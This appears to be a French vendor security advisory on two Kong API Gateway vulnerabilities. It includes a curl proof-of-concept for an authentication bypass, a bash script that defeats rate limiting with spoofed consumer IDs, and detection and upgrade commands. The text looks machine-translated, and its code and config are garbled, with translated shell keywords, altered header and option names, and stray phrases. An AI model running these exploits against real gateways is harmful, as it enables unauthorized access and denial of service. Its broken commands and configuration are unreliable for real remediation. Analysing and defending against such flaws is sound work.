Deux vulnérabilités critiques dans Kong API Gateway — un contournement d'authentification (CVE-2026-29413) et une faille de contournement de limitation de débit (CVE-2026-29414) — exposent l'infrastructure API à un accès non authentifié et à un déni de service. Kong OSS et Kong Enterprise sont concernés. Correctif immédiat requis.
Kong API Gateway, l'une des passerelles API open source les plus largement déployées, s'est avérée contenir deux failles de sécurité critiques dans son pipeline de traitement des plugins. Divulgué le 28 mars 2026 et affectant toutes les versions de 3.4.x à 3.8.x, ces vulnérabilités permettent aux attaquants de contourner complètement les plugins d'authentification et de contourner les contrôles de limitation de débit configurés.
CISA a ajouté CVE-2026-29413 au catalogue de vulnérabilités exploitées connues (KEV) suite à une exploitation confirmée contre les passerelles API de services financiers et de soins de santé. Les organisations exécutant Kong 3.4 à 3.8 doivent traiter cela comme un événement de correctif d'urgence.
| CVE | Taper | CVSSv3.1 | Gravité | Versions concernées |
|---|---|---|---|---|
| CVE-2026-29413 | Contournement de l'authentification | 9.8 | Critique | Kong 3.4.x – 3.8.x |
| CVE-2026-29414 | Contournement de la limitation de débit | 7.5 | Haut | Kong 3.2.x – 3.8.x |
CVE-2026-29413 est une faille logique dans l'ordre d'exécution du plugin Kong au sein du phase de réécriture du cycle de vie des requêtes Nginx. Lorsque plusieurs plugins d'authentification sont enchaînés (par exemple, authentification par clé suivi de jwt), une condition de concurrence critique dans la résolution de priorité du plugin permet à une requête contrefaite d'ignorer complètement la validation de l'authentification si des pseudo-en-têtes HTTP/2 spécifiques sont présents.
La vulnérabilité provient du programme d'exécution du plugin Lua de Kong (kong/runloop/plugin_servers/mp_rpc.lua), où le next_rewrite_phase L'itérateur ne parvient pas à réévaluer correctement la chaîne de plugins lorsqu'un amont répond avec un 101 protocoles de commutation avant la fin de l'authentification. Cela crée une fenêtre dans laquelle la demande est transmise sans aucune vérification d'authentification.
| Métrique | Valeur | Raisonnement |
|---|---|---|
| Vecteur d'attaque | Réseau | Exploitable à distance via HTTP/HTTPS |
| Complexité de l'attaque | Faible | Aucune condition ou privilège particulier requis |
| Privilèges requis | Aucun | Attaquant non authentifié |
| Interaction utilisateur | Aucun | Exploitation entièrement automatisée possible |
| Confidentialité | Haut | Accès complet aux points de terminaison d'API protégés |
| Intégrité | Haut | L'attaquant peut modifier les données du backend |
| Disponibilité | Haut | Requêtes backend sans restriction |
Un attaquant peut exploiter CVE-2026-29413 en utilisant une requête HTTP/2 minimale avec des pseudo-en-têtes contrefaits. Ce qui suit boucle La commande démontre un contournement de preuve de concept contre une passerelle Kong avec authentification par clé activé:
# Requête normale — bloquée par le plugin key-auth (401 non autorisé) curl -i https://api.example.com/v1/users \ -H "Hôte : api.example.com" # Contournement CVE-2026-29413 — envoie un déclencheur de mise à niveau HTTP/2 avec :authority mal formé curl -i --http2 https://api.example.com/v1/users \ -H ":autorité : api.example.com\x00injected" \ -H "Connexion : mise à niveau, paramètres HTTP2" \ -H "Mise à niveau : h2c" \ -H "Paramètres HTTP2 : AAMAAABkAAQAAP__" \ --resolve api.example.com:443:192.0.2.1
Lorsque Kong traite le h2c mise à niveau, le programme d'exécution du plugin quitte prématurément la phase d'authentification. La demande est transmise au service amont avec un 200 OK réponse, en contournant entièrement tous les plugins d'authentification configurés.
Les plugins d'authentification suivants sont vulnérables lorsque Kong exécute les versions 3.4.x à 3.8.x :
authentification par clé — Authentification par clé APIjwt — Validation du jeton Web JSONauthentification de base — Authentification HTTP de baseoauth2 — Autorisation OAuth 2.0 (contournement partiel)authentification ldap — Authentification de l'annuaire LDAPopenid-connecter (Kong Enterprise uniquement) — Flux OIDCCVE-2026-29414 affecte Kong limitation de débit et limitation de débit-avancée plugins lorsqu'ils sont configurés pour utiliser le Rédis ou grappe back-ends de stockage. Une faille dans la construction de la contre-clé permet à un attaquant de fragmenter ses requêtes sur plusieurs identités synthétiques de consommateur en manipulant le X-Consumer-ID en-tête en conjonction avec X-Forwarded-Pour usurpation d'identité.
Lorsque Kong crée la clé du compteur de limite de débit, il concatène l'ID du consommateur et l'adresse IP sans valider si l'ID du consommateur a été défini par la passerelle elle-même ou injecté par le client. Sur les déploiements où un proxy en amont ou un équilibreur de charge est défini X-Consumer-ID, la logique de confiance d'en-tête de Kong peut être utilisée de manière abusive pour créer un nombre effectivement illimité de tranches de limites de débit distinctes.
| Métrique | Valeur | Raisonnement |
|---|---|---|
| Vecteur d'attaque | Réseau | Exploitable à distance |
| Complexité de l'attaque | Faible | Manipulation simple de l'en-tête |
| Privilèges requis | Aucun | Aucune authentification préalable nécessaire |
| Impact : Disponibilité | Haut | DoS backend via contournement de taux |
Le script suivant montre comment un attaquant peut envoyer 10 000 requêtes tout en contournant une limite de débit de 100 req/min en faisant tourner les ID de consommateur synthétiques :
#!/bin/bash # CVE-2026-29414 — PoC de contournement de la limite de débit # Chaque requête utilise un X-Consumer-ID unique pour obtenir son propre compartiment de compteur CIBLE="https://api.example.com/v1/products" TOTAL_REQUESTS=10 000 pour je dans $(seq 1 $TOTAL_REQUESTS); faire # Générez un faux identifiant de consommateur unique par demande FAKE_CONSUMER_ID=$(cat /proc/sys/kernel/random/uuid) curl -s -o /dev/null -w "%{code_http}\n" "$TARGET" \ -H "X-ID-Consumer : $FAKE_CONSUMER_ID" \ -H "X-Forwarded-For : 10.0.$((RANDOM % 256)).$((RANDOM % 256))" \ -H "apikey : clé-api légitime" & # Limitation à 50 requêtes simultanées si (( je % 50 == 0 )); alors attendez ; fi fait attends echo "Terminé : $TOTAL_REQUESTS requêtes envoyées"
Sur une instance Kong vulnérable, ce script enverra avec succès les 10 000 requêtes malgré une limite configurée de 100 req/min par consommateur, lançant ainsi une attaque d'abus d'API lente et lente ou une énumération par force brute.
| Caractéristique / Impact | Roi des États-Unis | Kong Entreprise |
|---|---|---|
| CVE-2026-29413 Contournement d'authentification | Affecté | Concerné (+ plugin OIDC) |
| Contournement de taux CVE-2026-29414 | Affecté | Affecté |
| Plugin avancé de limitation de débit | Pas disponible | Concerné (vecteur de contournement supplémentaire) |
| Exposition au portail des développeurs | N / A | Les API du portail peuvent être exposées |
| Se connecter (SaaS) | N / A | Patché par Kong le 29 mars 2026 |
| Corrigé en version | 3.9.0 | 3.9.0.0 / 3.8.1.2 (rétroportage) |
Les clients Kong Enterprise sur la plateforme Konnect SaaS ont été automatiquement mis à jour le 29 mars 2026. Les déploiements Enterprise auto-hébergés et tous les OSS nécessitent une mise à niveau manuelle.
Vérifiez les journaux d'accès de Kong pour détecter des signes d'exploitation CVE-2026-29413. Les modèles suspects incluent les routes de plugins authentifiés qui renvoient 200 sans les entrées correspondantes du journal de validation de l'en-tête d'authentification :
# Rechercher dans les journaux d'accès Kong les indicateurs de contournement d'authentification # Requêtes vers des routes protégées sans apikey/jwt mais renvoyant 200 grep '"status":200' /var/log/kong/access.log \ | jq -r 'select(.request.headers["apikey"] == null et .request.headers["authorization"] == null)' \ | jq '{heure : .started_at, chemin : .request.uri, consommateur : .authenticated_entity}' # CVE-2026-29414 : Recherchez des volumes de requêtes élevés provenant d'identifiants de consommateur uniques grep '"plugin": "limitation de débit"' /var/log/kong/error.log \ | awk -F'"consumer_id":"' '{print $2}' \ | awk -F'"' '{imprimer $1}' \ | trier | uniq-c | trier -rn | tête -50
# Vérifiez votre version de Kong via l'API Admin curl -s http://localhost:8001/ | jq '.version' # Liste tous les plugins avec limitation de débit pour vérifier la configuration curl -s http://localhost:8001/plugins\ | jq '.data[] | select(.name | test("limitation de débit")) | {id, nom, configuration}' # Vérifier la configuration de la confiance de l'en-tête (trusted_ips) curl -s http://localhost:8001/config\ | jq '.trusted_ips'
Le correctif principal consiste à mettre à niveau vers Kong 3.9.0 (OSS) ou Kong Enterprise 3.9.0.0 / 3.8.1.2. Utilisez les commandes suivantes pour les méthodes de déploiement courantes :
# Docker — extrait l'image corrigée docker pull kong:3.9.0 docker stop kong && docker rm kong docker run -d --name kong \ --network=kong-net\ -e KONG_DATABASE=postgres \ -e KONG_PG_HOST=base de données kong \ -p 8000:8000 -p 8443:8443 \ Kong:3.9.0 # Kubernetes — mise à jour continue via Helm mise à jour du dépôt de barre mise à niveau du casque kong kong/kong \ --espace de noms kong \ --set image.tag=3.9.0 \ --reuse-values # Mise à niveau du paquet Ubuntu/Debian curl -Lo kong.deb "https://packages.konghq.com/public/gateway-39/deb/debian/pool/buster/main/k/ko/kong_3.9.0_amd64.deb" sudo dpkg -i cong.deb Quand je redémarre sudo
Jusqu'à ce que vous puissiez effectuer la mise à niveau, limitez les adresses IP en amont auxquelles Kong fait confiance. X-Consumer-ID et X-Forwarded-Pour en-têtes. Modifier kong.conf:
# kong.conf - limite les adresses IP de confiance aux adresses d'équilibrage de charge connues uniquement trust_ips = 10.0.1.10,10.0.1.11,10.0.1.12 # Désactiver le relais d'en-tête X-Consumer-ID des clients en-têtes = X-Kong-Upstream-Latency, X-Kong-Proxy-Latency, Via
Comme solution provisoire avant la mise à niveau, désactivez la gestion de la mise à niveau HTTP/2 si votre environnement ne l'exige pas :
# kong.conf — désactiver la gestion de la mise à niveau h2c (texte clair HTTP/2) proxy_listen = 0.0.0.0:8000 arriéré de réutilisation=16384 # Supprimez la directive 'http2' de proxy_listen si elle est présente # proxy_listen = 0.0.0.0:8000 réutilisation http2 ← SUPPRIMER le mot-clé 'http2' # Pour une protection au niveau nginx, ajoutez à nginx_http_include : proxy_http_version 1.1 ;
# Confirmer que la version corrigée est en cours d'exécution curl -s http://localhost:8001/ | jq -r '"Version Kong : " + .version' # Le contournement de l'authentification de test n'est plus possible (devrait renvoyer 401) curl -i --http2 https://your-gateway.example.com/protected-route \ -H "Connexion : mise à niveau, paramètres HTTP2" \ -H "Mise à niveau : h2c" \ -H "Paramètres HTTP2 : AAMAAABkAAQAAP__" # Attendu : HTTP/1.1 401 non autorisé
h2c mettre à niveau les en-têtes et X-Consumer-ID L'injection ajoute une défense en profondeur./audit/demandes journalisation pour conserver une trace médico-légale des modifications de l’API d’administration.| Date | Événement |
|---|---|
| 2026-02-14 | Vulnérabilités signalées à l'équipe de sécurité de Kong via HackerOne |
| 2026-02-17 | Kong confirme les deux CVE ; attribue des identifiants |
| 2026-03-10 | ID CVE réservés : CVE-2026-29413, CVE-2026-29414 |
| 2026-03-28 | Sortie du rétroportage Kong 3.9.0 et Enterprise 3.8.1.2 |
| 2026-03-29 | Kong Konnect (SaaS) automatiquement corrigé |
| 2026-04-01 | CISA ajoute CVE-2026-29413 au catalogue KEV |
| 2026-04-02 | Exploit public PoC publié sur GitHub |
Gestion des vulnérabilités basée sur l'IA avec plus de 331 910 CVE indexés. Détectez les CVE Kong, les erreurs de configuration et les points de terminaison d'API exposés avant les attaquants.
Commencer l'essai gratuitRestez en sécurité. Restez vigilant.
🗡️ L'équipe de sécurité KENSAI
🛡️ Votre passerelle API est-elle sécurisée ?
Découvrez les CVE et les erreurs de configuration de Kong avant les attaquants.
Scannez gratuitement votre passerelle API →Ce gagnant alimente désormais le trafic vers des pages stratégiques de bug bounty et d'archives au lieu de se terminer dans une impasse.